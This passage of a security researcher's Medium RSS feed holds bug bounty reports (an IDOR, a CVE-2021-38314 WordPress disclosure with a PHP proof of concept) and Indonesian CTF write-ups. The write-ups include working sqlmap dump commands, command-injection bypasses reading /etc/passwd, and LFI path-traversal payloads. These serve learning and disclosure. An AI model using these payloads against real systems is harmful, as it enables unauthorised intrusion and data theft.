and different length, then I try to open the url, but the page just showing same login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/0*Lsat4piZHDXkaANO" /><figcaption>Wordlist login</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/0*JPpgAogjTa9P9lPv" /><figcaption>Wordlist newsroom</figcaption></figure><ul><li><a href="https://github.com/OJ/gobuster">GitHub - OJ/gobuster: Directory/File, DNS and VHost busting tool written in Go</a></li><li><a href="https://github.com/xmendez/wfuzz/">GitHub - xmendez/wfuzz: Web application fuzzer</a></li><li><a href="https://github.com/ffuf/ffuf">GitHub - ffuf/ffuf: Fast web fuzzer written in Go</a></li></ul><p>So I try to check the source code with inspect element, surprisingly it’s totally different. There is redirect code in the client side</p><blockquote><strong>&lt;script&gt;window.location=”/login”;&lt;/script&gt;</strong></blockquote><p>There is some option to check the page</p><ul><li>Disable the javascript in browser</li><li>or Save and edit the source code locally</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*kgh1htzahnD3ObxtICF63Q.png" /><figcaption>Source code</figcaption></figure><p>Comment the redirect code, then open the source code locally. Then voila the admin panel is shown. But ofc the data is can’t load, because the CSP (Content Security Policy).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EW-OtpRKfgPWjgeMwYzvyQ.png" /><figcaption>Admin panel</figcaption></figure><p>After that go deeper to the javascript source code. There is some javascript file included, and found some endpoint that interesting to test. After test some endpoint there is one endpoint vulnerable with IDOR.</p><blockquote><strong>https://admin.redacted.com/User/deleteImage</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*BemPGe0ReX258UZerWIObw.png" /><figcaption>Javascript source code</figcaption></figure><p>Then try to fire the post request in the postman with form data id with value 1, voila the response said</p><blockquote><strong>{“success”:true}</strong></blockquote><p>The avatar of the admin user is success deleted with that post request. Finally I immediately make the PoC then report to the Bug Bounty program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*xd3b78-GWTjqDS2uoAxdrA.png" /><figcaption>Bounty</figcaption></figure><p>Alhamdulillah give thanks to Allah SWT, my tips is go to deeper and try to manual analysis into the source code, look into all javascript files and test all endpoint. Thank you has been read my article <a href="https://emojipedia.org/victory-hand/">✌️</a></p><blockquote><strong>“Stay Hungry Stay Foolish” — Steve Jobs</strong></blockquote><h3>Timeline</h3><ol><li>1 October 2021: Initial Report</li><li>4 October 2021: Report Validate by H1 Team</li><li>11 November 2021: Bug Fixed and Resolved</li><li>7 December 2021: $$$</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=646de8d508e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unauthenticated Sensitive Information Disclosure at [REDACTED]]]></title>
            <link>https://wahaz.medium.com/unauthenticated-sensitive-information-disclosure-at-redacted-2702224098c?source=rss-a18c4546bba0------2</link>
            <guid isPermaLink="false">https://medium.com/p/2702224098c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Rizaldi Wahaz]]></dc:creator>
            <pubDate>Thu, 25 Nov 2021 03:07:03 GMT</pubDate>
            <atom:updated>2021-11-25T03:08:24.764Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello InfoSec Community, I want to share my submission about this vulnerability, sorry for bad writing, still learning ✌</p><p>During my research, I was found the subdomain <a href="https://blog.huawei.com/">https://blog.redacted.com/</a> is vulnerable with Unauthenticated Sensitive Information Disclosure (CVE-2021–38314).</p><p>The Gutenberg Template Library &amp; Redux Framework plugin &lt;= 4.2.11 for WordPress registered several AJAX actions available to unauthenticated users in the `includes` function in `redux-core/class-redux-core.php` that were unique to a given site but deterministic and predictable given that they were based on an md5 hash of the site URL with a known salt value of ‘-redux’ and an md5 hash of the previous hash with a known salt value of ‘-support’.</p><p>These AJAX actions could be used to retrieve a list of active plugins and their versions, the site’s PHP version, and an unsalted md5 hash of site’s `AUTH_KEY` concatenated with the `SECURE_AUTH_KEY`.</p><p><strong>Proof of Concept:</strong></p><p>1. Found subdomain <a href="http://blog.huawei.com/">blog.redacted.com</a> is using wordpress, then try the CVE-2021–38314</p><p>2. Using this script</p><blockquote><em>$target = “</em><a href="https://blog.huawei.com/"><em>https://blog.redacted.com</em></a><em>&quot;; <br>$key1 = md5(“$target/-redux”); <br>$key2 = file_get_contents(“$target/wp-admin/admin-ajax.php?action=$key1”);</em></blockquote><p>3. It returns <strong>e24eb61b09bf2340779b35xxxxxxxxxx</strong> a hash of the auth_key_secret_key with “-redux” appended.</p><p>4. Append “-support” and md5 it again and thats the new function hook name.</p><blockquote><em>$key3 = md5($key2.’-support’);</em></blockquote><p>5. Then get the hash <strong>1505d4269113e1bda36c47xxxxxxxxxx</strong></p><p>6. So what this code does is compare the code param with the output of <a href="https://verify.redux.io/?hash=">https://verify.redux.io/?hash=</a><strong>1505d4269113e1bda36c47xxxxxxxxxx</strong>&amp;site=<a href="http://blog.huawei.com/">http://blog.redacted.com/</a></p><blockquote><em>$redux_code = b1mzZ3%2BU0p43TZ6%2F7QJaYU0hJMHgdcT5Bc%2Bnyo4t3xUenDRm0Ef8HipC7EMKSdtpw8g65XZj</em>xxxxxxxxxxxxxxxxxxxx</blockquote><p>7. Final URL <a href="https://blog.huawei.com/wp-admin/admin-ajax.php?action=1505d4269113e1bda36c477f3aef4f0f&amp;code=b1mzZ3%2BU0p43TZ6%2F7QJaYU0hJMHgdcT5Bc%2Bnyo4t3xUenDRm0Ef8HipC7EMKSdtpw8g65XZjGMWChWEmHmgPuA%3D%3D">https://blog.redacted.com/wp-admin/admin-ajax.php?action=</a>1505d4269113e1bda36c47xxxxxxxxxx<a href="https://blog.huawei.com/wp-admin/admin-ajax.php?action=1505d4269113e1bda36c477f3aef4f0f&amp;code=b1mzZ3%2BU0p43TZ6%2F7QJaYU0hJMHgdcT5Bc%2Bnyo4t3xUenDRm0Ef8HipC7EMKSdtpw8g65XZjGMWChWEmHmgPuA%3D%3D">&amp;code=b1mzZ3%2BU0p43TZ6%2F7QJaYU0hJMHgdcT5Bc%2Bnyo4t3xUenDRm0Ef8HipC7EMKSdtpw8g65XZj</a>xxxxxxxxxxxxxxxxxxxx</p><p>Voila</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NS-ud6EsjrqfdI1ss1vUiA.png" /></figure><p>Here is the PHP full script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*q9HazXK1mjT61UHUgr9pVw.png" /></figure><p><strong>Impact:</strong></p><p>Attacker can retrieve sensitive information such as a list of active plugins and their versions, the site’s PHP version, and an unsalted md5 hash of site’s `AUTH_KEY` concatenated with the `SECURE_AUTH_KEY`. This would be most useful in cases where a separate plugin with an additional vulnerability was installed, as an attacker could use the information to save time and plan an intrusion.</p><p><strong>Timeline:</strong></p><p>8 Nov 2021: Report</p><p>11 Nov 2021: Fixed</p><p>Rewards: -</p><p><strong>Reference:</strong></p><ul><li><a href="https://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/">https://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/</a></li><li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38314">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38314</a></li><li><a href="https://blog.sorcery.ie/posts/redux_wordpress/">https://blog.sorcery.ie/posts/redux_wordpress/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2702224098c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Quals HackToday 2021 — Web]]></title>
            <link>https://wahaz.medium.com/quals-hacktoday-2021-web-f568fc8de6d?source=rss-a18c4546bba0------2</link>
            <guid isPermaLink="false">https://medium.com/p/f568fc8de6d</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Rizaldi Wahaz]]></dc:creator>
            <pubDate>Tue, 24 Aug 2021 08:21:59 GMT</pubDate>
            <atom:updated>2021-08-24T08:23:23.476Z</atom:updated>
            <content:encoded><![CDATA[<h3>Quals HackToday 2021 — Web</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*Qbar2QqYciBEYRoKkgmhgQ.png" /></figure><p>HackToday 2021 adalah kompetisi CTF yang di selenggarakan oleh IPB setiap tahunnya, berikut untuk write up soal kategori web. Langsung aja check it out..</p><h3>Fakeuser (177 pts)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DdMiQuztcCQngiST" /></figure><p>Diberikan tampilan sebuah login page dengan inputan username dan password. Kemudian saya coba untuk memasukkan inputan sembarang, dan menghasilkan tampilan “Username atau Password salah!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/0*FSp_tHtrCobSZ7lb" /></figure><p>Lalu saya coba untuk memasukkan ‘ pada inputan username, ternyata menghasilkan error yang jika dilihat database nya menggunakan mysql</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OmBdP2ILVfQkdUsE" /></figure><p>Langsung saja gas ke sqlmap, saya masukkan parameter username yang akan di tes, dengan command:</p><blockquote>$ sqlmap -u <a href="http://103.41.207.206:13003/">http://103.41.207.206:13003/</a> — data “username=a&amp;password=a&amp;submit=Login” -p “username” — current-db</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XH3NpmxkI3EsgbhL" /></figure><p>Didapatkan database saat ini adalah fakeuser.</p><p>Langsung saja dump isi dari databse fakeuser, dengan command:</p><blockquote>$ sqlmap -u <a href="http://103.41.207.206:13003/">http://103.41.207.206:13003/</a> — data “username=a&amp;password=a&amp;submit=Login” -p “username” — dump -D fakeuser</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7p3kcvldZ9G8GJ_L" /></figure><p>Dan voila! Dapet flagnya.</p><p>Flag: <strong>hacktoday{r3g3x_SQLi_pr3v3nti0n_578eee__}</strong></p><h3>Destiny (140 pts)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tUenMr1WVx4-QWli" /></figure><p>Diberikan tampilan untuk melihat ip dari domain. Setelah mencoba beberapa inputanternyata memang ada beberapa karakter yang di blacklist. Kemudian saya mencoba beberapa payload dari <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#filter-bypasses">sini</a>.</p><p>Didapatkan lah filter bypass untuk command injection:</p><blockquote>echo&amp;&amp;cat${IFS}/etc/passwd</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UIu_jjOvX3Nty4Fm" /></figure><p>Saat saya coba ls untuk melihat direktorinya hanya keluar main.py</p><blockquote>echo&amp;&amp;ls</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eGGquHeUdeLvAqbZ" /></figure><p>Kemudian coba ls -la, hanya keluar total files yang ada pada direktori tersebut, yaitu total 32.</p><blockquote>echo&amp;&amp;ls${IFS}-la</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PYs-Qvd8fDlohM7p" /></figure><p>Ternyata memang hanya 1 line yang akan ditampilkan, kemudian saya mencoba berbagai sort pada linux, didapatkan lah menggunakan ls -Sr yang akan melakukan sorting berdasarkan file terkecil yang di reverse.</p><blockquote>echo&amp;&amp;ls${IFS}-Sr</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5vZbpjgsOpoSfGnn" /></figure><p>Didapatkan lah file yang mencurigakan dan kemungkinan adalah flagnya. Langsung saja saya cat.</p><blockquote>echo&amp;&amp;cat${IFS}problem_setter_choose_this_name_instead_of_flag_dot_txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*deW3gIoyiJFgKxqE" /></figure><p>Yak benar flag.</p><p>Flag: <strong>hacktoday{escape_shell_command_with_a_little_shell_knowledge}</strong></p><h3>TodayManjiGang (420 pts)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JJJjFocSE1U47ZVN" /></figure><p>Diberikan soal dengan inputan hanya username, dan tidak ada apapun lagi. Ternyata jika sudah input username tidak bisa logout maka harus clear site. Setelah melihat-lihat, pada source page ada komentar yang mencurigakan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*hH4bQeK-a4cceMtb" /></figure><p>Ternyata saat sampai pada pic13.jpg, terdapat screenshot potongan kode dari web tersebut untuk generate token. Terlihat bahwa untuk mendapatkan flag maka variable touman_leader harus bernilai true atau 1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qiSzCykbKk6AfFjx" /></figure><p>Saya coba inject json tersebut:</p><blockquote>abc”,”touman_leader”:1,”username”:”abc</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/0*p5Py-77kxtiPvJoO" /></figure><p>Response dari validate pada touman_leader sudah menjadi 1. Langsung saja coba klik button “Click to prove who you are!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BjSEFWi2DixI71Fv" /></figure><p>Dan voila dapat flagnya.</p><p>Flag: <strong>hacktoday{d0ntMindTh3AES_ez_injection_ez_flag}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f568fc8de6d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Up CTF Hology2020: My Animal]]></title>
            <link>https://wahaz.medium.com/write-up-ctf-hology2020-my-animal-20ba1a8d66d0?source=rss-a18c4546bba0------2</link>
            <guid isPermaLink="false">https://medium.com/p/20ba1a8d66d0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hology2020]]></category>
            <category><![CDATA[lfi]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Rizaldi Wahaz]]></dc:creator>
            <pubDate>Sun, 09 May 2021 09:31:12 GMT</pubDate>
            <atom:updated>2021-05-09T09:31:12.062Z</atom:updated>
            <content:encoded><![CDATA[<p>Halo, disini saya akan membagikan Write Up saya pada CTF Hology 2020 dari Universitas Brawijaya soal MyAnimal kategory Web Exploitation.</p><p>Berikut untuk deskripsi soal dan link website yang diberikan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*ecTLNPJWdScn-MZ1RzjZZw.png" /></figure><p>Setelah saya buka website nya dapat terlihat bahwa website tersebut tentang binatang dan ketika kita buka view maka akan terlihat detail dari binatang tersebut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BELq-v7mjQjtySuvEOy3Qw.png" /></figure><p>Saya coba lakukan enumerasi, dan didapatkan sedikit clue pada file README.md yaitu web ini vuln terhadap LFI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*5VBlQDtC3zAUye6sb6pspg.png" /></figure><p>Saya coba berbagai fuzzing dari berbagai wordlist ternyata string ../ dihapus maka kita bisa menggunakan ....//, dan semua payload yang saya coba ternyata ekstensinya ditambah otomatis menjadi .php. Kemudian inputan yang yang diperbolehkan hanya bisa dog, fox, dan cat .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EyEXcty7zTqaXzc00FrHPQ.png" /></figure><p>Setelah saya coba menggunakan salah satu hewan tersebut ternyata bisa.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x0otsBKlgfsA5jDDN_TQsA.png" /></figure><p>Maka langsung saja kita coba ambil index.php nya memakai filter dengan payload seperti ini</p><pre><a href="http://206.189.86.177:8082/?view=php://filter/convert.base64-encode/resource=fox/....//....//....//....//....//....//var/www/html/index">http://206.189.86.177:8082/?view=php://filter/convert.base64-encode/resource=fox/....//....//....//....//....//....//var/www/html/index</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4DekRg6HzjDZ3rnCzwoBMg.png" /></figure><p>Langsung saja saya decode stringnya menggunakan base64. Lalu saya pahami index.php nya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*0pLK3M4PZP1rsfk4kcb-sw.png" /></figure><p>Ternyata di situ terlihat bahwa bisa menggunakan ekstensi sendiri menggunakan method GET[&quot;ext&quot;]. Lalu saya coba mencari Log nya dengan dengan final payload</p><pre><a href="http://206.189.86.177:8082/?view=cat/....//....//....//....//....//....//var/log/apache2/access&amp;ext=.log">http://206.189.86.177:8082/?view=cat/....//....//....//....//....//....//var/log/apache2/access&amp;ext=.log</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r1imE2mvCTNIcl_Dg6VSCg.png" /></figure><p>Terlihat pada log-nya terdapat GET /ini_flagnya_beneran_ga_bohongxixixi.html</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*6Ui8Qwdgkdpsxzr0XzOtQQ.png" /></figure><pre>Flag : hology3{3z_bYp4s5_LFI_y4_kh4n}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20ba1a8d66d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write Up Cyber Jawara 2020: AWS]]></title>
            <link>https://wahaz.medium.com/write-up-cyber-jawara-2020-aws-6433f76dba6d?source=rss-a18c4546bba0------2</link>
            <guid isPermaLink="false">https://medium.com/p/6433f76dba6d</guid>
            <category><![CDATA[hacks]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberjawara]]></category>
            <dc:creator><![CDATA[Rizaldi Wahaz]]></dc:creator>
            <pubDate>Sat, 08 May 2021 09:08:18 GMT</pubDate>
            <atom:updated>2021-05-08T09:08:18.911Z</atom:updated>
            <content:encoded><![CDATA[<p>Halo, disini saya coba untuk membagikan write up cyber jawara 2020 kategori web soal AWS, daripada cuma kesimpen dilaptop dan terlupakan mending saya dokumentasikan disini untuk temen temen yang kali aja butuh..</p><p>Berikut untuk deskripsi soal dan link soal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*fJcYn5WaD5GVWkGEojlgjA.png" /><figcaption>Soal</figcaption></figure><p>Diberikan tampilan soal pada web seperti berikut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*CuExABHDjlHHXS3iC1PgkQ.png" /></figure><p>Terlihat bahwa halaman tersebut merupakan cloud dari amazon aws bucket s3 yang tidak bisa diakses karena tidak memiliki credentials, sementara pada soal diberikan credentials seperti berikut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*WswC52pc7MZpclIMhlsocw.png" /></figure><p>Saya lalu menginstall awscli pada linux, lalu melakukan konfigurasi user default dengan meng-export access key, dan secret access key-nya. Lalu saya melihat identitas dari user ini.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*Pnk9wu5b2E0hcFl8BIb2hA.png" /></figure><p>Setelah itu saya ingin mencoba melihat ada apa saja yang terdapat pada bucket tersebut saya lalu memasukkan perintah <strong>aws s3 ls s3://cyberjawara</strong>, dan ternyata terdapat file txt yang saya curigai di dalamnya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*INZCkKu14N5x03tilSCZsw.png" /></figure><p>Langsung saja saya copy dan lihat isinya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jBDPUlLHrQPuU6ku52Ijvg.png" /></figure><p>Dan voilaa ternyata isinya adalah flag…</p><p>Flag: <strong>CJ2020{so_many_data_breaches_because_of_AWS_s3}</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6433f76dba6d" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>